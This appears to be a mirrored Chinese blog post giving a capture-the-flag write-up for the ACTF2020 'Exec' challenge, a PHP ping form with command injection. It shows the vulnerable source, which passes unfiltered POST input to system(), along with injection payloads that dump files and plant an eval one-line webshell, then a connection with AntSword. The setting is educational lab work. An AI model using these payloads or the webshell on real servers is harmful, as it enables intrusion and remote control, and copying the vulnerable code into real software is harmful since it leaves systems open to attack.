zoukankan      html  css  js  c++  java
  • [ACTF2020 新生赛]Exec 1

    我一看    原来是 命令执行 

     原理分析 服务端脚本文件使用了 敏感的系统函数  而且 其中参数能受到攻击者 控制 导致攻击者可以构造恶意代码 在服务器端进行恶意代码执行 包括 获取webshell   之后可进行一系列危害巨大的操作

     这里 有时候需要考虑到服务器端是什么操作系统 判断也很简单 改变 URL 中的随便一个小写字符为大写  判断是否出错    记住 Linux 对大小写敏感  windows对大小写不明那
      这里可以看到当前目录下没有 flag.php 

    我们可以先看下index.php 看看过滤了什么

    127.0.0.1;base64 index.php

     将 Index.php 进行base64 编码输出

    获取源码 

    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="UTF-8">
    <title>command execution</title>
    <link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" />


    </head>
    <body>

    <h1>PING</h1>
    <form class="form-inline" method="post">

    <div class="input-group">
    <input style="280px;" id="target" type="text" class="form-control" placeholder="请输入需要ping的地址" aria-describedby="basic-addon1" name="target">
    </div>
    <br/>
    <br/>

    <button style="280px;" class="btn btn-default">PING</button>


    </form>
    <br /><pre>
    <?php
    if (isset($_POST['target'])) {
    system("ping -c 3 ".$_POST['target']);
    }
    ?>
    </pre></body>
    </html>

    发现 并没有任何 过滤 所以我们完全可以 写shell

    127.0.0.1;echo '<?php @eval($_POST['cmd']); ?>' > hack.php 

    将一句话写进hack.php 

    蚁剑 连接 

     虽然我一猜就在根目录 但是 用查找命令找还是浪费了很多时间 因为对文件查找命令不太 熟练  只知道find 是不行的

     

     

     

     

     

     怪不得 之前 直接用 find / -name "flag*" 难找 

    欢迎关注我的私人博客: https://arg1nt.gitee.io/2021/03/01/go/#more
  • 相关阅读:
    Windows 8 应用的页面导航(1)
    开发 Windows 8 Bing地图应用(6)
    Windows 8 应用的页面导航(2)
    Windows 8 生命周期管理(4)
    删除DataTable重复列,只针对删除其中的一列重复的行
    Silverlight 数据库 Silverlight Database
    广告费用 会计处理及其改进
    Query to Join Delivery Details and MTL Material Table
    SAVEPOINT
    SYNCHRONIZE
  • 原文地址:https://www.cnblogs.com/Arg1nt/p/14105814.html
Copyright © 2011-2022 走看看